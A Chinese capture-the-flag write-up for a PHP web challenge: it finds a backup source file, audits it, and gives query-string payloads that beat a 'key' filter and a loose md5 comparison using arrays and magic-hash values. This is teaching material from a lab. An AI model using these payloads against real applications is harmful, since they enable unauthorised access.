0、打开网页,同时查看题目提示
描 述: 备份是个好习惯
理所当然地想到了备份文件:index.php.bak
当然交给御剑扫描也能很快得到结果
1、使用御剑扫目录
2、打开备份文件,进行代码审计
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
注意到代码对key1和key2的md5值进行了==判断,同时key1!=key2
属于MD5弱类型碰撞,使用数组绕过即可
同时对key进行了一次绕过因此构造双重变量:kkeyey1和kkeyey2
最终payload:?kekeyy1[]=1&kekeyy2[]=2(即null==null)
其他payload:?kekeyy1=QNKCDZO&kekeyy2=240610708(即QNKCDZO的MD5值与240610708的MD5值相等)
此类PHP弱类型对比绕过均可尝试上述构造(如果是===比较则会失效)